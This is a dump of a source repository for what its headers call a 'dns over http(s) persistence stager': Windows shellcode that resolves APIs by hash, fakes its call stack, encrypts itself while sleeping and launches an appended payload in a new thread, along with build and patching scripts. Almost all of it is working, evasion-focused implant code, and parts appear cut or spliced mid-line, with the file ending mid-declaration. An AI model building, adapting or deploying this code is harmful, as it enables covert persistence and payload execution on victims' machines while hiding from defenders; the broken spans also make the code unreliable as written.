├── scripts ├── linker.ld ├── hash_string.py ├── pedump.py └── foliage.py ├── source ├── peb.h ├── hash.h ├── pe.h ├── ntmem.h ├── leave.c ├── sleep.h ├── ntmem.c ├── hash.c ├── macros.h ├── peb.c ├── asm │ └── start.asm ├── pe.c ├── hashes.h ├── common.h ├── start.c ├── apidef.h ├── tebpeb.h └── sleep.c └── Makefile /scripts/linker.ld: -------------------------------------------------------------------------------- 1 | ENTRY( _BEG ) 2 | 3 | SECTIONS 4 | { 5 | .text ALIGN(1) : SUBALIGN(1) 6 | { 7 | *(.text._BEG) 8 | *(.text.*) 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /scripts/hash_string.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding:utf-8 -*- 3 | import sys 4 | 5 | def hash_string( string ): 6 | try: 7 | hash = 5381 8 | 9 | for x in string.upper(): 10 | hash = (( hash << 5 ) + hash ) + ord(x) 11 | 12 | return hash & 0xFFFFFFFF 13 | except: 14 | pass 15 | 16 | if __name__ in '__main__': 17 | try: 18 | print('0x%x' % hash_string(sys.argv[1])); 19 | except IndexError: 20 | print('usage: %s [string]' % sys.argv[0]); 21 | -------------------------------------------------------------------------------- /source/peb.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * 3 | * dns over http(s) persistence stager. 4 | * grabs a binary payload over a txt 5 | * record before going back to sleep 6 | * for a specified time. 7 | * 8 | * before going to sleep, it will try 9 | * to obfuscate itself in memory and 10 | * hide its return address. 11 | * 12 | * Copyright (c) 2021 Austin Hudson 13 | * Copyright (c) 2021 GuidePoint Security LLC 14 | * 15 | -*/ 16 | 17 | #ifndef _PEB_H_ 18 | #define _PEB_H_ 19 | 20 | D_SEC(B) PVOID PebGetModule( IN ULONG Hsh ); 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /source/hash.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * 3 | * dns over http(s) persistence stager. 4 | * grabs a binary payload over a txt 5 | * record before going back to sleep 6 | * for a specified time. 7 | * 8 | * before going to sleep, it will try 9 | * to obfuscate itself in memory and 10 | * hide its return address. 11 | * 12 | * Copyright (c) 2021 Austin Hudson 13 | * Copyright (c) 2021 GuidePoint Security LLC 14 | * 15 | -*/ 16 | 17 | #ifndef _HASH_H_ 18 | #define _HASH_H_ 19 | 20 | D_SEC(B) ULONG HashString( PVOID Inp, ULONG Len ); 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /source/pe.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * 3 | * dns over http(s) persistence stager. 4 | * grabs a binary payload over a txt 5 | * record before going back to sleep 6 | * for a specified time. 7 | * 8 | * before going to sleep, it will try 9 | * to obfuscate itself in memory and 10 | * hide its return address. 11 | * 12 | * Copyright (c) 2021 Austin Hudson 13 | * Copyright (c) 2021 GuidePoint Security LLC 14 | * 15 | -*/ 16 | 17 | #ifndef _PE_H_ 18 | #define _PE_H_ 19 | 20 | D_SEC(B) PVOID PeGetFuncEat( PVOID Ptr, ULONG Hsh ); 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /source/ntmem.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * 3 | * dns over http(s) persistence stager. 4 | * grabs a binary payload over a txt 5 | * record before going back to sleep 6 | * for a specified time. 7 | * 8 | * before going to sleep, it will try 9 | * to obfuscate itself in memory and 10 | * hide its return address. 11 | * 12 | * Copyright (c) 2021 Austin Hudson 13 | * Copyright (c) 2021 GuidePoint Security LLC 14 | * 15 | -*/ 16 | 17 | #ifndef _NTMEM_H_ 18 | #define _NTMEM_H_ 19 | 20 | D_SEC(B) PVOID NtMemAlloc( PINSTANCE Ins, ULONG Len ); 21 | 22 | D_SEC(B) BOOL NtMemFree( PINSTANCE Ins, PVOID Ptr ); 23 | 24 | #endif 25 | -------------------------------------------------------------------------------- /source/leave.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * 3 | * dns over http(s) persistence stager. 4 | * grabs a binary payload over a txt 5 | * record before going back to sleep 6 | * for a specified time. 7 | * 8 | * before going to sleep, it will try 9 | * to obfuscate itself in memory and 10 | * hide its return address. 11 | * 12 | * Copyright (c) 2021 Austin Hudson 13 | * Copyright (c) 2021 GuidePoint Security LLC 14 | * 15 | -*/ 16 | 17 | #include "common.h" 18 | 19 | D_SEC(C) VOID WINAPI Leave( PVOID Start, ULONG Length ) 20 | { 21 | INSTANCE Ins; 22 | 23 | Ins.nt.Base = PebGetModule( H_NTDLL ); 24 | Ins.nt.ExitThread = PeGetFuncEat( Ins.nt.Base, H_RTLEXITUSERTHREAD ); 25 | __builtin_memset( Start, '\x90', Length ); Ins.nt.ExitThread( 0 ); 26 | }; 27 | -------------------------------------------------------------------------------- /source/sleep.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * 3 | * dns over http(s) persistence stager. 4 | * grabs a binary payload over a txt 5 | * record before going back to sleep 6 | * for a specified time. 7 | * 8 | * before going to sleep, it will try 9 | * to obfuscate itself in memory and 10 | * hide its return address. 11 | * 12 | * Copyright (c) 2021 Austin Hudson 13 | * Copyright (c) 2021 GuidePoint Security LLC 14 | * 15 | -*/ 16 | 17 | #ifndef _SLEEP_H_ 18 | #define _SLEEP_H_ 19 | 20 | #define IOCTL_KSEC_ENCRYPT_MEMORY CTL_CODE( FILE_DEVICE_KSEC, 0x03, METHOD_OUT_DIRECT, FILE_ANY_ACCESS ) 21 | #define IOCTL_KSEC_DECRYPT_MEMORY CTL_CODE( FILE_DEVICE_KSEC, 0x04, METHOD_OUT_DIRECT, FILE_ANY_ACCESS ) 22 | 23 | D_SEC(B) NTSTATUS ObfuscateSleep( PINSTANCE Ins, PCONTEXT FakeFrame, PLARGE_INTEGER Timeout ); 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /scripts/pedump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding:utf-8 -*- 3 | import pefile 4 | import argparse 5 | import struct 6 | 7 | def main( f = None, o = None ): 8 | try: 9 | exe = pefile.PE( f ); 10 | raw = exe.sections[0].get_data(); 11 | end = raw.find(b'\xcc' * 4); 12 | raw = raw[:end] 13 | 14 | bin = open( o, 'wb+' ); 15 | bin.write( raw ); 16 | bin.close( ); 17 | except Exception as e: 18 | print("[error]: {}".format(e)); 19 | raise SystemExit 20 | 21 | if __name__ in '__main__': 22 | parser = argparse.ArgumentParser() 23 | parser.add_argument('-f', help='Path to EXE file.', required=True); 24 | parser.add_argument('-o', help='Path to store code.', required=True); 25 | 26 | args = parser.parse_args(); 27 | main(**vars(args)); 28 | -------------------------------------------------------------------------------- /source/ntmem.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * 3 | * dns over http(s) persistence stager. 4 | * grabs a binary payload over a txt 5 | * record before going back to sleep 6 | * for a specified time. 7 | * 8 | * before going to sleep, it will try 9 | * to obfuscate itself in memory and 10 | * hide its return address. 11 | * 12 | * Copyright (c) 2021 Austin Hudson 13 | * Copyright (c) 2021 GuidePoint Security LLC 14 | * 15 | -*/ 16 | 17 | #include "common.h" 18 | 19 | D_SEC(B) PVOID NtMemAlloc( PINSTANCE Ins, ULONG Len ) 20 | { 21 | return 22 | Ins->nt.RtlAllocateHeap( 23 | NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap, 24 | HEAP_ZERO_MEMORY, 25 | Len 26 | ); 27 | }; 28 | 29 | D_SEC(B) BOOL NtMemFree( PINSTANCE Ins, PVOID Ptr ) 30 | { 31 | return 32 | Ins->nt.RtlFreeHeap( 33 | NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap, 34 | 0, 35 | Ptr 36 | ); 37 | }; 38 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | SOURCE := source/*.c 2 | ASMSRC := source/asm/start.asm 3 | 4 | ASMOBJ := start.o 5 | EXEX64 := FOLIAGE.x64.exe 6 | BINX64 := FOLIAGE.x64.bin 7 | EXEX86 := FOLIAGE.x86.exe 8 | BINX86 := FOLIAGE.x86.bin 9 | 10 | CFLAGS := -Os -s -fno-asynchronous-unwind-tables 11 | CFLAGS := $(CFLAGS) -nostdlib -fno-ident -Qn -fno-builtin-memcpy 12 | CFLAGS := $(CFLAGS) -fpack-struct=8 -falign-functions=1 13 | CFLAGS := $(CFLAGS) -falign-jumps=1 -falign-labels=1 14 | CFLAGS := $(CFLAGS) -falign-loops=1 -flto 15 | LFLAGS := -Wl,-s,--no-seh,--enable-stdcall-fixup,-Tscripts/linker.ld 16 | 17 | all: $(ASMOBJ) $(EXEX64) $(BINX64) 18 | 19 | $(ASMOBJ): 20 | nasm -f win64 $(ASMSRC) -o $@ 21 | 22 | $(EXEX64): 23 | x86_64-w64-mingw32-gcc $(ASMOBJ) $(SOURCE) -o $@ $(CFLAGS) $(STKLEN) $(LFLAGS) 24 | 25 | $(BINX64): 26 | python3 scripts/pedump.py -f $(EXEX64) -o $@ 27 | 28 | clean: 29 | rm -rf $(EXEX64) $(ASMOBJ) $(BINX64) 30 | -------------------------------------------------------------------------------- /source/hash.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * 3 | * dns over http(s) persistence stager. 4 | * grabs a binary payload over a txt 5 | * record before going back to sleep 6 | * for a specified time. 7 | * 8 | * before going to sleep, it will try 9 | * to obfuscate itself in memory and 10 | * hide its return address. 11 | * 12 | * Copyright (c) 2021 Austin Hudson 13 | * Copyright (c) 2021 GuidePoint Security LLC 14 | * 15 | -*/ 16 | 17 | #include "common.h" 18 | 19 | D_SEC(B) ULONG HashString( PVOID Inp, ULONG Len ) 20 | { 21 | ULONG hsh; 22 | PUCHAR ptr; 23 | UCHAR cur; 24 | 25 | hsh = 5381; 26 | ptr = Inp; 27 | 28 | while ( TRUE ) 29 | { 30 | cur = * ptr; 31 | 32 | if ( ! Len ) { 33 | if ( ! * ptr ) { 34 | break; 35 | }; 36 | } else { 37 | if ( ( ULONG )( ptr - ( PUCHAR )Inp ) >= Len ) { 38 | break; 39 | }; 40 | if ( ! * ptr ) { 41 | ++ptr; continue; 42 | }; 43 | }; 44 | 45 | if ( cur >= 'a' ) 46 | cur -= 0x20; 47 | 48 | hsh = ((hsh << 5) + hsh) + cur; ++ptr; 49 | }; 50 | return hsh; 51 | }; 52 | -------------------------------------------------------------------------------- /source/macros.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * 3 | * dns over http(s) persistence stager. 4 | * grabs a binary payload over a txt 5 | * record before going back to sleep 6 | * for a specified time. 7 | * 8 | * before going to sleep, it will try 9 | * to obfuscate itself in memory and 10 | * hide its return address. 11 | * 12 | * Copyright (c) 2021 Austin Hudson 13 | * Copyright (c) 2021 GuidePoint Security LLC 14 | * 15 | -*/ 16 | 17 | #ifndef _MACROS_H_ 18 | #define _MACROS_H_ 19 | 20 | #define InitializeObjectAttributes(p, n, a, r, s ) { \ 21 | (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ 22 | (p)->RootDirectory = r; \ 23 | (p)->Attributes = a; \ 24 | (p)->ObjectName = n; \ 25 | (p)->SecurityDescriptor = s; \ 26 | (p)->SecurityQualityOfService = NULL; \ 27 | } 28 | 29 | #define NtCurrentProcess() ((HANDLE)-1) 30 | #define NtCurrentThread() ((HANDLE)-2) 31 | 32 | #define D_SEC(x) __attribute__((section( ".text$" #x "" ))) 33 | #define D_API(x) __typeof__(x) * x 34 | #define U_PTR(x) ((ULONG_PTR)x) 35 | #define C_PTR(x) ((PVOID)x) 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /source/peb.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * 3 | * dns over http(s) persistence stager. 4 | * grabs a binary payload over a txt 5 | * record before going back to sleep 6 | * for a specified time. 7 | * 8 | * before going to sleep, it will try 9 | * to obfuscate itself in memory and 10 | * hide its return address. 11 | * 12 | * Copyright (c) 2021 Austin Hudson 13 | * Copyright (c) 2021 GuidePoint Security LLC 14 | * 15 | -*/ 16 | 17 | #include "common.h" 18 | 19 | D_SEC(B) PVOID PebGetModule( IN ULONG Hsh ) 20 | { 21 | PPEB peb; 22 | PPEB_LDR_DATA ldr; 23 | PLDR_DATA_TABLE_ENTRY dte; 24 | PLIST_ENTRY ent; 25 | PLIST_ENTRY hdr; 26 | ULONG mod; 27 | 28 | peb = NtCurrentTeb()->ProcessEnvironmentBlock; 29 | ldr = peb->Ldr; 30 | hdr = & ldr->InLoadOrderModuleList; 31 | ent = hdr->Flink; 32 | 33 | for ( ; hdr != ent ; ent = ent->Flink ) { 34 | dte = C_PTR( ent ); 35 | mod = HashString( dte->BaseDllName.Buffer, dte->BaseDllName.Length ); 36 | 37 | if ( mod == Hsh ) { 38 | return C_PTR( dte->DllBase ); 39 | }; 40 | }; 41 | return NULL; 42 | }; 43 | -------------------------------------------------------------------------------- /source/asm/start.asm: -------------------------------------------------------------------------------- 1 | ;; 2 | ;; dns over http(s) persistence stager. 3 | ;; grabs a binary payload over a txt 4 | ;; record before going back to sleep 5 | ;; for a specified time. 6 | ;; 7 | ;; before going to sleep, it will try 8 | ;; to obfuscate itself in memory and 9 | ;; hide its return address. 10 | ;; 11 | ;; Copyright (c) 2021 Austin Hudson 12 | ;; Copyright (c) 2021 GuidePoint Security LLC 13 | ;; 14 | [BITS 64] 15 | 16 | GLOBAL _BEG 17 | GLOBAL _END 18 | GLOBAL _GET_BEG 19 | GLOBAL _GET_END 20 | 21 | EXTERN Start 22 | EXTERN Leave 23 | 24 | [SECTION .text$A] 25 | 26 | ;; 27 | ;; start of shellcode 28 | ;; 29 | _BEG: 30 | push rsi 31 | mov rsi, rsp 32 | and rsp, 0FFFFFFFFFFFFFFF0h 33 | 34 | sub rsp, 32 35 | mov rcx, 0x41414141 36 | call Start 37 | 38 | sub rsp, 32 39 | lea rcx, [rel _BEG] 40 | lea rdx, [rel Leave] 41 | sub rdx, rcx 42 | call Leave 43 | 44 | mov rsp, rsi 45 | pop rsi 46 | ret 47 | 48 | ;; 49 | ;; gets pointer to the start 50 | ;; 51 | _GET_BEG: 52 | lea rax, [rel _BEG]; 53 | ret 54 | 55 | ;; 56 | ;; gets pointer to the end 57 | ;; 58 | _GET_END: 59 | lea rax, [rel _END] 60 | ret 61 | 62 | [SECTION .text$D] 63 | 64 | ;; 65 | ;; end of shellcode 66 | ;; 67 | _END: 68 | int3 69 | int3 70 | int3 71 | int3 72 | -------------------------------------------------------------------------------- /scripts/foliage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding:utf-8 -*- 3 | import pefile 4 | import argparse 5 | import struct 6 | 7 | def main( f = None, o = None, s = None, m = None, y = None, d = None ): 8 | try: 9 | raw = open( f, 'rb+' ).read() 10 | shc = open( s, 'rb+' ).read() 11 | out = open( o, 'wb+' ) 12 | 13 | raw = raw.replace(b'\x41' * 4, struct.pack('e_lfanew ); 34 | dir = C_PTR( &nth->OptionalHeader.DataDirectory[0] ); 35 | 36 | if ( dir->VirtualAddress ) { 37 | exp = C_PTR( U_PTR(dos) + dir->VirtualAddress ); 38 | aof = C_PTR( U_PTR(dos) + exp->AddressOfFunctions ); 39 | aon = C_PTR( U_PTR(dos) + exp->AddressOfNames ); 40 | ano = C_PTR( U_PTR(dos) + exp->AddressOfNameOrdinals ); 41 | 42 | for( cnt=0;cntNumberOfNames;++cnt ) { 43 | str = C_PTR( U_PTR(dos) + aon[cnt] ); 44 | hxp = HashString(str, 0); 45 | 46 | if ( hxp == Hsh ) { 47 | return C_PTR( U_PTR(dos) + aof[ano[cnt]] ); 48 | }; 49 | }; 50 | }; 51 | return NULL; 52 | }; 53 | -------------------------------------------------------------------------------- /source/hashes.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * 3 | * dns over http(s) persistence stager. 4 | * grabs a binary payload over a txt 5 | * record before going back to sleep 6 | * for a specified time. 7 | * 8 | * before going to sleep, it will try 9 | * to obfuscate itself in memory and 10 | * hide its return address. 11 | * 12 | * Copyright (c) 2021 Austin Hudson 13 | * Copyright (c) 2021 GuidePoint Security LLC 14 | * 15 | -*/ 16 | 17 | #ifndef _HASHES_H_ 18 | #define _HASHES_H_ 19 | 20 | #define H_NTSIGNALANDWAITFORSINGLEOBJECT 0x78983aed 21 | #define H_NTQUERYINFORMATIONPROCESS 0x8cdc5dc2 22 | #define H_NTPROTECTVIRTUALMEMORY 0x50e92888 23 | #define H_NTWAITFORSINGLEOBJECT 0xe8ac0c3c 24 | #define H_NTDEVICEIOCONTROLFILE 0x05d57dd0 25 | #define H_RTLINITUNICODESTRING 0xef52b589 26 | #define H_NTALERTRESUMETHREAD 0x5ba11e28 27 | #define H_NTSETCONTEXTTHREAD 0xffa0bf10 28 | #define H_NTGETCONTEXTTHREAD 0x6d22f884 29 | #define H_RTLEXITUSERTHREAD 0x2f6db5e8 30 | #define H_NTTERMINATETHREAD 0xccf58808 31 | #define H_RTLCAPTURECONTEXT 0xeba8d910 32 | #define H_NTDELAYEXECUTION 0xf5a936aa 33 | #define H_NTQUEUEAPCTHREAD 0x0a6664b8 34 | #define H_NTCREATETHREADEX 0xaf18cfb0 35 | #define H_RTLALLOCATEHEAP 0x3be94c5a 36 | #define H_NTCREATEEVENT 0x28d3233d 37 | #define H_NTOPENTHREAD 0x968e0cb1 38 | #define H_RTLFREEHEAP 0x73a9e4d7 39 | #define H_NTTESTALERT 0x858a32df 40 | #define H_NTOPENFILE 0x46dde739 41 | #define H_NTCONTINUE 0xfc3a6c2c 42 | #define H_EXITTHREAD 0x2f6db5e8 43 | #define H_NTCLOSE 0x40d6e69d 44 | #define H_NTDLL 0x1edab0ed 45 | 46 | #define H_SETPROCESSVALIDCALLTARGETS 0x647d9236 47 | #define H_KERNELBASE 0x03ebb38b 48 | 49 | #define H_LOCALFILETIMETOFILETIME 0x75b9ce51 50 | #define H_SYSTEMTIMETOFILETIME 0x61d8126b 51 | #define H_KERNEL32 0x6ddb9555 52 | 53 | #endif 54 | -------------------------------------------------------------------------------- /source/common.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * 3 | * dns over http(s) persistence stager. 4 | * grabs a binary payload over a txt 5 | * record before going back to sleep 6 | * for a specified time. 7 | * 8 | * before going to sleep, it will try 9 | * to obfuscate itself in memory and 10 | * hide its return address. 11 | * 12 | * Copyright (c) 2021 Austin Hudson 13 | * Copyright (c) 2021 GuidePoint Security LLC 14 | * 15 | -*/ 16 | 17 | #ifndef _COMMON_H_ 18 | #define _COMMON_H_ 19 | 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include "tebpeb.h" 26 | #include "apidef.h" 27 | #include "macros.h" 28 | #include "hashes.h" 29 | #include "hash.h" 30 | #include "peb.h" 31 | #include "pe.h" 32 | 33 | extern ULONG_PTR _GET_BEG( VOID ); 34 | extern ULONG_PTR _GET_END( VOID ); 35 | 36 | typedef struct 37 | { 38 | struct 39 | { 40 | HANDLE Base; 41 | 42 | D_API( NtSignalAndWaitForSingleObject ); 43 | D_API( NtQueryInformationProcess ); 44 | D_API( NtProtectVirtualMemory ); 45 | D_API( NtWaitForSingleObject ); 46 | D_API( NtDeviceIoControlFile ); 47 | D_API( RtlInitUnicodeString ); 48 | D_API( NtAlertResumeThread ); 49 | D_API( NtSetContextThread ); 50 | D_API( NtGetContextThread ); 51 | D_API( NtTerminateThread ); 52 | D_API( RtlCaptureContext ); 53 | D_API( NtDelayExecution ); 54 | D_API( NtQueueApcThread ); 55 | D_API( NtCreateThreadEx ); 56 | D_API( RtlAllocateHeap ); 57 | D_API( NtCreateEvent ); 58 | D_API( NtOpenThread ); 59 | D_API( RtlFreeHeap ); 60 | D_API( NtTestAlert ); 61 | D_API( NtOpenFile ); 62 | D_API( NtContinue ); 63 | D_API( ExitThread ); 64 | D_API( NtClose ); 65 | } nt; 66 | 67 | struct 68 | { 69 | HANDLE Base; 70 | 71 | D_API( SetProcessValidCallTargets ); 72 | } kb; 73 | 74 | struct 75 | { 76 | HANDLE Base; 77 | 78 | D_API( LocalFileTimeToFileTime ); 79 | D_API( SystemTimeToFileTime ); 80 | } km; 81 | 82 | PVOID Buffer; 83 | ULONG Length; 84 | ULONG Protection; 85 | } INSTANCE, *PINSTANCE; 86 | 87 | #include "ntmem.h" 88 | #include "sleep.h" 89 | 90 | #endif 91 | -------------------------------------------------------------------------------- /source/start.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * 3 | * dns over http(s) persistence stager. 4 | * grabs a binary payload over a txt 5 | * record before going back to sleep 6 | * for a specified time. 7 | * 8 | * before going to sleep, it will try 9 | * to obfuscate itself in memory and 10 | * hide its return address. 11 | * 12 | * Copyright (c) 2021 Austin Hudson 13 | * Copyright (c) 2021 GuidePoint Security LLC 14 | * 15 | -*/ 16 | 17 | #include "common.h" 18 | 19 | D_SEC(B) VOID WINAPI Start( ULONG Length ) 20 | { 21 | HANDLE Thd; 22 | HMODULE Mod; 23 | INSTANCE Ins; 24 | 25 | Ins.kb.Base = PebGetModule( H_KERNELBASE ); 26 | Ins.km.Base = PebGetModule( H_KERNEL32 ); 27 | Ins.nt.Base = PebGetModule( H_NTDLL ); 28 | Ins.Buffer = C_PTR( _GET_BEG() ); 29 | Ins.Length = U_PTR( _GET_END() ) - U_PTR( _GET_BEG() ) + Length; 30 | 31 | if ( Ins.kb.Base ) { 32 | Ins.kb.SetProcessValidCallTargets = PeGetFuncEat( Ins.kb.Base, H_SETPROCESSVALIDCALLTARGETS ); 33 | }; 34 | 35 | Ins.km.LocalFileTimeToFileTime = PeGetFuncEat( Ins.km.Base, H_LOCALFILETIMETOFILETIME ); 36 | Ins.km.SystemTimeToFileTime = PeGetFuncEat( Ins.km.Base, H_SYSTEMTIMETOFILETIME ); 37 | 38 | Ins.nt.NtSignalAndWaitForSingleObject = PeGetFuncEat( Ins.nt.Base, H_NTSIGNALANDWAITFORSINGLEOBJECT ); 39 | Ins.nt.NtQueryInformationProcess = PeGetFuncEat( Ins.nt.Base, H_NTQUERYINFORMATIONPROCESS ); 40 | Ins.nt.NtProtectVirtualMemory = PeGetFuncEat( Ins.nt.Base, H_NTPROTECTVIRTUALMEMORY ); 41 | Ins.nt.NtWaitForSingleObject = PeGetFuncEat( Ins.nt.Base, H_NTWAITFORSINGLEOBJECT ); 42 | Ins.nt.NtDeviceIoControlFile = PeGetFuncEat( Ins.nt.Base, H_NTDEVICEIOCONTROLFILE ); 43 | Ins.nt.RtlInitUnicodeString = PeGetFuncEat( Ins.nt.Base, H_RTLINITUNICODESTRING ); 44 | Ins.nt.NtAlertResumeThread = PeGetFuncEat( Ins.nt.Base, H_NTALERTRESUMETHREAD ); 45 | Ins.nt.NtSetContextThread = PeGetFuncEat( Ins.nt.Base, H_NTSETCONTEXTTHREAD ); 46 | Ins.nt.NtGetContextThread = PeGetFuncEat( Ins.nt.Base, H_NTGETCONTEXTTHREAD ); 47 | Ins.nt.NtTerminateThread = PeGetFuncEat( Ins.nt.Base, H_NTTERMINATETHREAD ); 48 | Ins.nt.RtlCaptureContext = PeGetFuncEat( Ins.nt.Base, H_RTLCAPTURECONTEXT ); 49 | Ins.nt.NtDelayExecution = PeGetFuncEat( Ins.nt.Base, H_NTDELAYEXECUTION ); 50 | Ins.nt.NtQueueApcThread = PeGetFuncEat( Ins.nt.Base, H_NTQUEUEAPCTHREAD ); 51 | Ins.nt.NtCreateThreadEx = PeGetFuncEat( Ins.nt.Base, H_NTCREATETHREADEX ); 52 | Ins.nt.RtlAllocateHeap = PeGetFuncEat( Ins.nt.Base, H_RTLALLOCATEHEAP ); 53 | Ins.nt.NtCreateEvent = PeGetFuncEat( Ins.nt.Base, H_NTCREATEEVENT ); 54 | Ins.nt.NtOpenThread = PeGetFuncEat( Ins.nt.Base, H_NTOPENTHREAD ); 55 | Ins.nt.RtlFreeHeap = PeGetFuncEat( Ins.nt.Base, H_RTLFREEHEAP ); 56 | Ins.nt.NtTestAlert = PeGetFuncEat( Ins.nt.Base, H_NTTESTALERT ); 57 | Ins.nt.NtOpenFile = PeGetFuncEat( Ins.nt.Base, H_NTOPENFILE ); 58 | Ins.nt.NtContinue = PeGetFuncEat( Ins.nt.Base, H_NTCONTINUE ); 59 | Ins.nt.ExitThread = PeGetFuncEat( Ins.nt.Base, H_EXITTHREAD ); 60 | Ins.nt.NtClose = PeGetFuncEat( Ins.nt.Base, H_NTCLOSE ); 61 | 62 | UCHAR FakeStk[0x100]; 63 | CONTEXT FakeCtx; 64 | 65 | RtlSecureZeroMemory( &FakeCtx, sizeof( FakeCtx ) ); 66 | RtlSecureZeroMemory( &FakeStk, 0x100 ); 67 | 68 | #if defined( _WIN64 ) 69 | FakeCtx.ContextFlags = CONTEXT_FULL; 70 | FakeCtx.Rip = U_PTR( Ins.nt.RtlFreeHeap ); 71 | FakeCtx.Rsp = U_PTR( &FakeStk ); 72 | #else 73 | FaleCtx.ContextFlags = CONTEXT_FULL; 74 | FakeCtx.Eip = U_PTR( Ins.nt.RtlFreeHeap ); 75 | FakeCtx.Esp = U_PTR( &FakeStk ); 76 | #endif 77 | 78 | FILETIME LocalTimeZon; 79 | FILETIME LocalTimeUtc; 80 | SYSTEMTIME LocalTimeSys; 81 | LARGE_INTEGER LocalTimeOut; 82 | 83 | RtlSecureZeroMemory( &LocalTimeZon, sizeof( LocalTimeZon ) ); 84 | RtlSecureZeroMemory( &LocalTimeUtc, sizeof( LocalTimeUtc ) ); 85 | RtlSecureZeroMemory( &LocalTimeSys, sizeof( LocalTimeSys ) ); 86 | RtlSecureZeroMemory( &LocalTimeOut, sizeof( LocalTimeOut ) ); 87 | 88 | LocalTimeSys.wMonth = 0x4242; 89 | LocalTimeSys.wYear = 0x4343; 90 | LocalTimeSys.wDay = 0x4444; 91 | 92 | Ins.km.SystemTimeToFileTime( &LocalTimeSys, &LocalTimeZon ); 93 | Ins.km.LocalFileTimeToFileTime( &LocalTimeZon, &LocalTimeUtc ); 94 | LocalTimeOut.LowPart = LocalTimeUtc.dwLowDateTime; 95 | LocalTimeOut.HighPart = LocalTimeUtc.dwHighDateTime; 96 | 97 | ObfuscateSleep( &Ins, &FakeCtx, &LocalTimeOut ); 98 | Ins.nt.NtCreateThreadEx( 99 | &Thd, 100 | THREAD_ALL_ACCESS, 101 | NULL, 102 | NtCurrentProcess(), 103 | C_PTR( _GET_END( ) ), 104 | NULL, 105 | FALSE, 106 | 0, 107 | 0xFFFFFF, 108 | 0xFFFFFF, 109 | NULL 110 | ); Ins.nt.NtClose( Thd ); 111 | }; 112 | -------------------------------------------------------------------------------- /source/apidef.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * 3 | * dns over http(s) persistence stager. 4 | * grabs a binary payload over a txt 5 | * record before going back to sleep 6 | * for a specified time. 7 | * 8 | * before going to sleep, it will try 9 | * to obfuscate itself in memory and 10 | * hide its return address. 11 | * 12 | * Copyright (c) 2021 Austin Hudson 13 | * Copyright (c) 2021 GuidePoint Security LLC 14 | * 15 | -*/ 16 | 17 | #ifndef _APIDEF_H_ 18 | #define _APIDEF_H_ 19 | 20 | typedef enum 21 | { 22 | ProcessCookie = 0x24, 23 | ProcessUserModeIOPL = 0x10 24 | } PROCESSINFOCLASS; 25 | 26 | typedef struct __attribute__((packed)) 27 | { 28 | ULONG ExtendedProcessInfo; 29 | ULONG ExtendedProcessInfoBuffer; 30 | } EXTENDED_PROCESS_INFORMATION, *PEXTENDED_PROCESS_INFORMATION; 31 | 32 | typedef struct 33 | { 34 | union { 35 | NTSTATUS Status; 36 | LPVOID Pointer; 37 | } DUMMYUNIONNAME; 38 | 39 | ULONG_PTR Information; 40 | } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; 41 | 42 | BOOLEAN 43 | WINAPI 44 | SetProcessValidCallTargets( 45 | HANDLE hProcess, 46 | PVOID VirtualAddress, 47 | SIZE_T RegionSize, 48 | ULONG NumberOfOffsets, 49 | PCFG_CALL_TARGET_INFO CfgCallInfo 50 | ); 51 | 52 | NTSYSAPI 53 | NTSTATUS 54 | NTAPI 55 | NtSignalAndWaitForSingleObject( 56 | HANDLE ObjectToSignal, 57 | HANDLE WaitableObject, 58 | BOOLEAN Alertable, 59 | PLARGE_INTEGER Time 60 | ); 61 | 62 | NTSYSAPI 63 | NTSTATUS 64 | NTAPI 65 | NtQueryInformationProcess( 66 | HANDLE ProcessHandle, 67 | PROCESSINFOCLASS ProcessInfoClass, 68 | PVOID ProcessInformation, 69 | ULONG ProcessInformationLength, 70 | PULONG ReturnLength 71 | ); 72 | 73 | NTSYSAPI 74 | NTSTATUS 75 | NTAPI 76 | NtProtectVirtualMemory( 77 | HANDLE ProcessHandle, 78 | PVOID* BaseAddress, 79 | PULONG NumberOfBytesToProtect, 80 | ULONG NewAccessProtection, 81 | PULONG OldAccessProtection 82 | ); 83 | 84 | NTSYSAPI 85 | NTSTATUS 86 | NTAPI 87 | NtWaitForSingleObject( 88 | HANDLE Handle, 89 | BOOLEAN Alertable, 90 | PLARGE_INTEGER TimeOut 91 | ); 92 | 93 | NTSYSAPI 94 | NTSTATUS 95 | NTAPI 96 | NtDeviceIoControlFile( 97 | HANDLE FileHandle, 98 | HANDLE Event, 99 | LPVOID ApcRoutine, 100 | LPVOID ApcContext, 101 | PIO_STATUS_BLOCK IoStatusBlock, 102 | ULONG IoControlCode, 103 | PVOID InputBuffer, 104 | ULONG InputBufferLength, 105 | PVOID OutputBuffer, 106 | ULONG OutputBufferLength 107 | ); 108 | 109 | NTSYSAPI 110 | NTSTATUS 111 | NTAPI 112 | RtlInitUnicodeString( 113 | PUNICODE_STRING DestinationSTring, 114 | PCWSTR SourceString 115 | ); 116 | 117 | NTSYSAPI 118 | NTSTATUS 119 | NTAPI 120 | RtlCreateUserThread( 121 | HANDLE ProcessHandle, 122 | 